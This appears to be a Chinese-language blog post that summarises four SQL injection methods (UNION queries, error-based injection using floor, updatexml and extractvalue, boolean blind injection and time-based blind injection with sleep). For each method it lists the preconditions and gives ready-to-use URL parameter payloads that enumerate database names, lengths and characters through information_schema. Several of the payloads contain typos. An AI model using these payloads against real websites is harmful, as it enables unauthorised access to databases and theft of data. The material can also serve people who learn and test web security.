美文网首页
常见SQL注入前提及注入过程

常见SQL注入前提及注入过程

作者: 不吃鱼的猫_de06 | 来源:发表于2018-06-24 15:52 被阅读0次

(1)联合查询注入

前提:页面上有显示位

1.UNION手工利用过程:
判断整形还是字符型
判断查询列数
判断显示位
获取所有数据库名
获取所有表名
获取列名
获取字段中的数据

通过order by 用二分法判断列数

接下来就通过information_schema表查询数据库,表和字段;

(2)报错型注入

前提:页面没有显示位,但有SQL语句执行错误信息输出

PHP.INI中display_errors=ON开启错误回显

常用函数:

1.floor报错:
and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)

2.updataxml报错:
and updatexml(1,payload,1) and updatexml(1, concat(0x7e,@@version,0x7e),1)

3.通过ExtractValue报错
and extractvalue(1, payload) and extractvalue(1, concat(0x7e,@@version,0x7e))

(3)布尔型盲注

前提:页面中没有显示位,没有输出SQL语句执行错误信息。只能通过页面显示正常不正常;

缺点:耗费时间太长,速度太慢

常用函数:
1.substr()函数
作用:截取字符串
用法:substr(string,num start,num length) string为字符串---start 为起始位置---length 位长度
select substr('abc','1','1'); ------------ a

2.ascii()函数
作用:返回字符串str的ascii码值。如果str是空字符串,返回0,如果是NULL,返回NULL
selelt ascii('a'); ----------------97

注入过程:
?id=1 and (selelct count(schema_name) from information_schema.schemata)>8 //判断数据库个数

?id=1 and (selece length(schema_name) from information_schema.schemata limit 0,1)>18//判断第一个数据库长度

?id=1 and (select ascii(substr(select schema_name from information_schema.schemata limit 0,1),1,1))

?id=1 and (select ascii(substr(select schema_name from information_schema.schemata limit 0,1),2,1))

(4)时间盲注

前提:页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。

常用函数:
IF()函数:
if(condition,A,B)函数
当condition为真,返回A,为假,返回B

注入过程:
?id=1 and if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判断数据库个数
?id=1 and if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)//判断第一个数据库名有多少个字符
?id=1 and if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)//判断 第一个库第一个字符
?id=1 and if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),2,1)))=110,sleep(5),1)//判断 第一个库第二个字符

相关文章

  • 常见SQL注入前提及注入过程

    (1)联合查询注入 前提:页面上有显示位 1.UNION手工利用过程:判断整形还是字符型判断查询列数判断显示位获取...

  • web安全测试(2)

    本章主要介绍常见web安全漏洞。 一、SQL注入 SQL注入(SQL Injection),是最常见影响非常广泛的...

  • OWASP TOP 10 总结

    一、注入(常见sql注入)原理:违背了“数据与代码分离”原则。通过拼接sql语句获取敏感数据条件:数据没有经过程序...

  • SQL 注入

    什么是SQL注入 SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。...

  • 关于SQL注入与避免

    什么是SQL注入 SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。...

  • 避免SQL注入

    什么是SQL注入 SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。...

  • 面试官问你 SQL 注入攻击了吗?

    为什么要聊 SQL 注入攻击? 什么是 SQL 注入攻击? 如何进行 SQL 注入攻击? 如何防范? 常见面试题 ...

  • 谈谈sql注入之注入工具介绍(六)

    SQL注入攻击是最为常见的Web应用程序攻击技术。同时SQL注入攻击所带来的安全破坏也是不可弥补的。那么sql注入...

  • 什么是SQL注入?如何防止SQL注入?

    一、SQL注入 1、什么是SQL注入? SQL注入是比较常见的网络攻击方式之一,主要攻击对象是数据库,针对程序员编...

  • 测试常问面试题(2)

    1 什么是 sql 注入,什么是跨站脚本,什么是跨站请求伪造? SQL 注入攻击是注入攻击最常见的形式(此外还有 ...

网友评论

      本文标题:常见SQL注入前提及注入过程

      本文链接:https://www.haomeiwen.com/subject/jsfsyftx.html